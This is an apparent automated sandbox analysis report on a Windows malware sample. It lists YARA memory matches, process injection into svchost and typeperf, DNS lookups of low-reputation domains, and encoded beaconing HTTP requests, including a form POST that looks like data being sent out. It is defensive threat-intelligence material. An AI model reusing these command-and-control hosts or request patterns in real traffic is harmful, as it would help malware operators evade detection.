Windows Analysis Report
sa7Bw41TUq.exe

AI detected suspicious sample

Source: Yara match	File source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: sa7Bw41TUq.exe

Joe Sandbox ML: detected

Source: sa7Bw41TUq.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558723774.0000000000FAE000.00000002.00000001.01000000.00000005.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737429493.0000000000FAE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: typeperf.pdb source: svchost.exe, 00000009.00000003.1628080025.0000000003624000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1627986392.000000000361B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1628064356.000000000361A000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3733446394.0000000000788000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000009.00000002.1670896674.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1670896674.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1543886073.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1542199725.0000000003800000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1670422050.0000000002DA5000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.0000000003100000.00000040.00001000.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1683622628.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000009.00000002.1670896674.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1670896674.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1543886073.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1542199725.0000000003800000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, typeperf.exe, 0000000C.00000003.1670422050.0000000002DA5000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.0000000003100000.00000040.00001000.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1683622628.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: typeperf.exe, 0000000C.00000002.3739193871.000000000372C000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3730128385.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757312784.000000000298C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1987185043.000000003867C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: typeperf.pdbGCTL source: svchost.exe, 00000009.00000003.1628080025.0000000003624000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1627986392.000000000361B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1628064356.000000000361A000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3733446394.0000000000788000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: typeperf.exe, 0000000C.00000002.3739193871.000000000372C000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3730128385.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757312784.000000000298C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1987185043.000000003867C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\typeperf.exe

Code function: 12_2_005CC4D0 FindFirstFileW,FindNextFileW,FindClose,

12_2_005CC4D0

Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 4x nop then xor eax, eax	12_2_005B9A50
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 4x nop then mov ebx, 00000004h	12_2_02E504DE
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 4x nop then xor eax, eax	14_2_04DD4EF5

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: www.mecateg.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 195.110.124.133 195.110.124.133
Source: Joe Sandbox View	IP Address: 76.223.67.189 76.223.67.189

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ptae/?ZZY=w3WU5oZhC+LnKx26kaNk+YWYu6qqBKD6PC4MUwZYu/Z6/i99bgGsvL6SKkltDKfqu2CGNTh4TErFYwL/tEu+bdChCdZ/afdxeSWGORoCU6iTOQ97Sy+G7WrM0B37ODseprTGeRopW7u8&mHm0o=rrqhoH HTTP/1.1Host: www.bluegirls.blogAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /e4x0/?ZZY=LNT2rxv1IZbcC3Jj0QJlS4XPU2WjJkC92LI5ghjdfeHuVtRNJYUfNJ81Qyljm2TCpzqhutEcPP6D5gqXcB7APUAChnFD6LC10hZW5DnCrv8nATu9qGN6LFx4zvr8w5xDip8OL+K5FPsX&mHm0o=rrqhoH HTTP/1.1Host: www.firstcry.shopAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /0r21/?mHm0o=rrqhoH&ZZY=fpQWUmUD3QBv9qaBiDNDC55X+pZkXcZKAs7PtWtHybHyzx2AGLiILISraADyo1q+hqHiafFS+6J0wcG7bEgZBkPYVPFAzuLp86jiTbWXEL7WrvfJBC+mpaVtq3e+NG0F9h9/HweK9zd4 HTTP/1.1Host: www.cc101.proAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /bp9c/?ZZY=CFj7iDxn1x8AZpvFPceYGF6mfIwPwoMTrHXd5ZNPnjoM55LZ4XrC1cu6kzZqztyAGGEhFACZ681UEqmRh4qhBCgu4rL42B/pdGdLhtvwmGlR74+AXtAhf2M5tQk/HW327Y9QXMr8MgHb&mHm0o=rrqhoH HTTP/1.1Host: www.myjiorooms.servicesAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sq12/?ZZY=z6EWwjUgJz2bJPVNnwixtdiBclz6U+1c8CkWN3ljQgjJGrzDNHqxSoLtP95ZDgz7MgUxfMzo2dU5U8jEaokJ+YFKTiu0SNRlbEWC0HQQ7kWDv/RczpK4Ywebc8IjilGLuKMcxKVh8K9W&mHm0o=rrqhoH HTTP/1.1Host: www.mecateg.xyzAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qt7h/?mHm0o=rrqhoH&ZZY=lVRVVIZsXSPU4aIYLW3uXU2G9jyJVB0KcS4/r4NcfnqYIb12Sac4jtyjmKkxLIaqvFDuni/4q4Q88o0YH0xwolv7HpcPHG6ier6546/NEIR09zDvHF3f9eFxq1b7awb/89CQg1iAKK+O HTTP/1.1Host: www.dto20.shopAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jso9/?mHm0o=rrqhoH&ZZY=uWtD7nDJzC5KbaeYt4wzjwT7dfNvmhcBXDjCWDtDb+iw4yKFuJufFHLJAdi3pLpd6ZSxNjMYLeNLKkNP8PCKZOHQQMiufYU5amodYVRyhU2Q7ZK2dy5aUiQd9WIqGEuwGA/AmJwbELRk HTTP/1.1Host: www.hampelsmagic.lifeAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /s7qk/?ZZY=iaY+w4IpIrYSidyoirH4HJSkbusQX4NI5gNJJ4lc6xQkeif0pMuzzCPjcczGW/AsONaxEKF5w0HAACs6c94+MzxqwLAwe70WCnJ+QkbRlWeyUQ/E8YwpuoNtXuk6ep3axG9muxvIvCTd&mHm0o=rrqhoH HTTP/1.1Host: www.zingara.lifeAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /reui/?ZZY=86WVBsaKd0g/fiy38lBVTFNtYioQJ/XID2I2jzZkjXxxzqQXnIBLpzjUTcMxZ+VjRI6hFe2KzQRCqdeRoprBsBuO38R4j7pNa7/TdtnWnso/3MHserSUB0MZw7CHuHvixsEQagEWFuT7&mHm0o=rrqhoH HTTP/1.1Host: www.polarmuseum.infoAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /fvi9/?ZZY=83Zhgfg6tu/foMGa1rd4G8mvZ8J0ctT1sQtAA8307wl6fpXmtYNgS0h47hPctXYzi3krAK+TuMk8NNNUc7/zlizFi4+uLzj6JeI9HOwnvOMl9isW4EM/0itfBtO8+qbotuSJUZ1vI2TR&mHm0o=rrqhoH HTTP/1.1Host: www.consultarfacil.onlineAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /0cbg/?ZZY=ReVCyzq7e32zPSksEOCt3pbKcx4rKGTIyRipE0uGIQ28zkTth8noQJXIJc3ts0ISqVogbi/TYpoiqGzNpNOIXMLKx0kCr+Xw6Q+8qepVva7bCGUCYF3oCYt7aX6G3loK+iyEYGVwNCt0&mHm0o=rrqhoH HTTP/1.1Host: www.40wxd.topAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /eysm/?ZZY=rmFmYSV40EyuHaS2kdWsBSatZMcowP18dPlfx0Yf8gPpQKE966Dkx6Jhfns0QUWGli+3EHMWEp7NMhxdNQGBoYEKFyRFG/hWuIrsEVQcMyBNET9pI9FmSsALbFuO7R/DpXmPiDL0RAp8&mHm0o=rrqhoH HTTP/1.1Host: www.allthingsjasmin.comAccept: /Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.bluegirls.blog
Source: global traffic	DNS traffic detected: DNS query: www.firstcry.shop
Source: global traffic	DNS traffic detected: DNS query: www.cc101.pro
Source: global traffic	DNS traffic detected: DNS query: www.myjiorooms.services
Source: global traffic	DNS traffic detected: DNS query: www.mecateg.xyz
Source: global traffic	DNS traffic detected: DNS query: www.monos.media
Source: global traffic	DNS traffic detected: DNS query: www.dto20.shop
Source: global traffic	DNS traffic detected: DNS query: www.i16zb920d.cfd
Source: global traffic	DNS traffic detected: DNS query: www.hampelsmagic.life
Source: global traffic	DNS traffic detected: DNS query: www.zingara.life
Source: global traffic	DNS traffic detected: DNS query: www.polarmuseum.info
Source: global traffic	DNS traffic detected: DNS query: www.trafegomagico.shop
Source: global traffic	DNS traffic detected: DNS query: www.consultarfacil.online
Source: global traffic	DNS traffic detected: DNS query: www.40wxd.top
Source: global traffic	DNS traffic detected: DNS query: www.allthingsjasmin.com
Source: global traffic	DNS traffic detected: DNS query: www.ophthalmo.cloud

Source: unknown

HTTP traffic detected: POST /e4x0/ HTTP/1.1Host: www.firstcry.shopAccept: */*Accept-Language: en-US,enAccept-Encoding: gzip, deflateOrigin: http://www.firstcry.shopContent-Length: 216Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheReferer: http://www.firstcry.shop/e4x0/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36Data Raw: 5a 5a 59 3d 47 50 37 57 6f 45 4c 34 4c 49 44 58 4e 56 78 37 38 53 49 73 4e 37 4c 37 57 33 75 6c 54 58 48 2b 35 64 35 2f 73 7a 6e 65 62 5a 6a 47 49 4d 46 6e 49 35 6b 61 45 39 38 74 62 53 5a 4d 6f 6a 4c 33 6a 67 53 66 70 66 45 49 64 36 32 43 33 69 33 37 57 52 58 51 45 79 59 49 6a 57 4a 38 6e 49 76 78 69 51 46 4d 6a 54 71 43 2b 65 4a 67 53 47 4c 53 69 32 5a 77 4f 51 49 77 36 65 53 6f 37 34 64 61 37 66 70 65 50 73 71 43 47 66 34 58 30 4d 6f 47 51 6d 38 6e 57 32 75 58 56 75 6a 45 45 49 2f 50 75 48 33 77 69 78 64 6d 79 37 6c 56 68 67 76 48 6c 38 68 55 32 33 5a 32 50 34 70 36 41 6a 6d 74 45 67 38 53 72 41 39 4c 38 73 63 70 76 79 47 4c 32 51 3d 3d Data Ascii: ZZY=GP7WoEL4LIDXNVx78SIsN7L7W3ulTXH+5d5/sznebZjGIMFnI5kaE98tbSZMojL3jgSfpfEId62C3i37WRXQEyYIjWJ8nIvxiQFMjTqC+eJgSGLSi2ZwOQIw6eSo74da7fpePsqCGf4X0MoGQm8nW2uXVujEEI/PuH3wixdmy7lVhgvHl8hU23Z2P4p6AjmtEg8SrA9L8scpvyGL2Q==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:05:51 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 70 74 61 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /ptae/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:06:57 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:06:59 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:07:02 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:07:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closex-sorting-hat-podid: 156x-sorting-hat-shopid: 68129128605vary: Accept-Encoding,Acceptx-frame-options: DENYx-shopid: 68129128605x-shardid: 156content-language: en-INx-shopify-nginx-no-cookies: 0set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:51 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:51 GMT; SameSite=Laxset-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:51 GMT; SameSite=Laxset-cookie: _shopify_y=2a006b9e-2410-43a9-ad69-41888273dea8; Expires=Thu, 09-Oct-25 12:07:51 GMT; Domain=zingara.life; Path=/; SameSite=Laxset-cookie: _shopify_s=25a32db8-d952-465f-870e-9f90c6ffc1bd; Expires=Wed, 09-Oct-24Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:07:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closex-sorting-hat-podid: 156x-sorting-hat-shopid: 68129128605vary: Accept-Encoding,Acceptx-frame-options: DENYx-shopid: 68129128605x-shardid: 156content-language: en-INx-shopify-nginx-no-cookies: 0set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:53 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:53 GMT; SameSite=Laxset-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:54 GMT; SameSite=Laxset-cookie: _shopify_y=f1994b7a-4418-4777-9882-f971f0cbd2e4; Expires=Thu, 09-Oct-25 12:07:54 GMT; Domain=zingara.life; Path=/; SameSite=Laxset-cookie: _shopify_s=8e62383f-c62d-45d6-a9c4-12d0e528e322; Expires=Wed, 09-Oct-24Data Raw: Data Ascii:
